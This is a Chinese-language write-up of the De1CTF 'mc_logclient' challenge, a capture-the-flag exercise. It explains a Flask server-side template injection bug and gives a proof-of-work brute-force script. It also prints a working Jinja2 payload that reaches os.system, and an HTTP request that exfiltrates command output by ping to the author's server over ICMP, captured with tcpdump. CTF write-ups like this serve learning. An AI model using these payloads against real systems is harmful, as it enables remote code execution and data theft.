0x00前言
周末打了De1CTF,好不容易有一个python题目,但是无奈最后没有做出来,tttttttttttcl。赛后进行一下复盘
环境在https://github.com/impakho/de1ctf-mc_challs/tree/master/docker/logclient
0x01 Writeup
首先阅读源码,主要有三个路由pow,read
和write
,pow主要是生成一个text和对应的hash校验码,用于在read和write路由上面做认证的。通读代码,主要的漏洞点如下,做了一些注释
def renderHandler(session, html):
renderCleanUp(session)
# For security, fork a child process to render.
r, w = os.pipe()
session['w'] = w
pid = os.fork()
if pid:
os.close(r)
# Check child process status, and wait it to finish
thread = waitThread(pid)
thread.start() # 父进程等待开启线程
else:
# 要么主进程是子进程,要么创建失败
# 主进程进入到使用render_template_string
signal.signal(signal.SIGALRM, kill)
signal.alarm(30)
os.close(w)
r = os.fdopen(r, 'r')
sys.stdin = r
try:
render_template_string(html)
except:
pass
kill(None, None)
return html
可以看到虽然程序做了一个fork动作,但是在进程中fork会返回三种数字,大于0的父进程和等于0的主进程和小于0的进程创建失败,同时使用fork之后程序会在当前代码之后启用两个pid来进行代码,因此下面if和else都会被执行。众所周知,render_template_string
是一个标准的SSTI漏洞,因此本题目与SSTI相关的可能性非常大。查看一下renderHandler
调用的地方,是在read方法里面,同时renderHandler
函数返回的原本的html,那么就意味着在read函数里面可能不会直接显示SSTI的结果,然是需要远程回弹结果。在read里面又有一个checkPoW函数,就是检查text中的后四位是否正确,通过计算,这四个字符是可以被爆破的,大概有50*49*48*47/4*3*2*1
中方法,因此编写脚本爆破
import hashlib
import string
import sys
strs = string.ascii_letters + string.digits
keys = '54zCuHpmnjSs'
result = '20d4ab6ec465ce4fec4187f53bc1cb1e535dcbbc516c45580901cc3b857ffbed'
for ek in keys:
strs = strs.replace(ek, '')
for i in strs:
temp1 = list(strs)
temp1.remove(i)
for j in temp1:
temp2 = list(temp1)
temp2.remove(j)
for k in temp2:
temp3 = list(temp2)
temp3.remove(k)
for m in temp3:
temp4 = list(temp3)
temp4.remove(m)
work = i+j+k+m
if hashlib.sha256((keys + work).encode()).hexdigest() == result:
print(keys + work)
print("work find!: ",work)
sys.exit(0)
在成功阅读之后,系统会返回一个cookie,是用来写文件用的,将cookie放入pow路径下获取新的text既可以进行写文件。之后在这里便断了思路,后面放出了Hint,说6000端口能写日志,但是测了半天,1bit都写不进去。将整个log文件下下来分析,发现一连串字符
认为肯定有哪里是有对话功能的,于是乎扫了ip的所有端口,发现了80、4080、6000、6001、6002、6003和25565七个端口,发现4080能够对话,属于6003中的server服务,git地址为https://github.com/fogleman/Craft,于是,在此完蛋、、赛后看了wp,发现其实是25565端口的对话,然后根据exp.go发现mc 1.2版本的通信协议,主要参考为https://wiki.vg/index.php?title=Protocol&oldid=13223,没玩过mc,连都不会连,tnl。抄一抄exp的连接协议,help之后有uuid的选项,同时也成功写入了log日志
那么之后便是写入SSTI了,由于没有回显示,而且只能发icmp包,那么就将数据通过icmp进行外带,因为是python3.8,于是在3.8上面进行payload测试,最终得到的payload为
[].__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")') {{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.b]['eval'](request.args.command)}}
通过read传入参数带出数据
GET /read?work=Joda&filename=110ce0f0-7b8b-4fdd-b9a1-f10eb286fa00&b=__builtins__&command=__import__("os").system("ping+-c+1+-p+74657374+{{vps}}") HTTP/1.1
Host: 134.175.230.10:6001
User-Agent: Go-http-client/1.1
Cookie: session=eyJyZXN1bHQiOiI4MjY0MjNiNzE4OTcyMjI0M2IxNDkxOWM4Y2EzZmRhZTMyNjkxM2IyNGM0NmNhYTAzODVkYjg5ZjYxNzg1ZTRiIiwidGV4dCI6IldtRXJSM1RIc3kycCJ9.XrVBlQ.NSGDLQDMZLXB0fwhNS71qenGP88
Accept-Encoding: gzip, deflate
Connection: close
在vps上面使用命令
tcpdump -c 2 -q -XX -vvv -nn -i eth0 icmp
进行icmp包的解析,成功获得数据
后续就用命令执行函数执行readflag
文件就行,注意icmp包貌似最大只能接收84长度的数据包,多了后面就没有了,就需要发送三次
一条龙的payload官网上就直接能看到,https://github.com/impakho/de1ctf-mc_challs/tree/master/writeup/mc_logclient,另外sys.breakpointhook
姿势也是非常地骚,学习了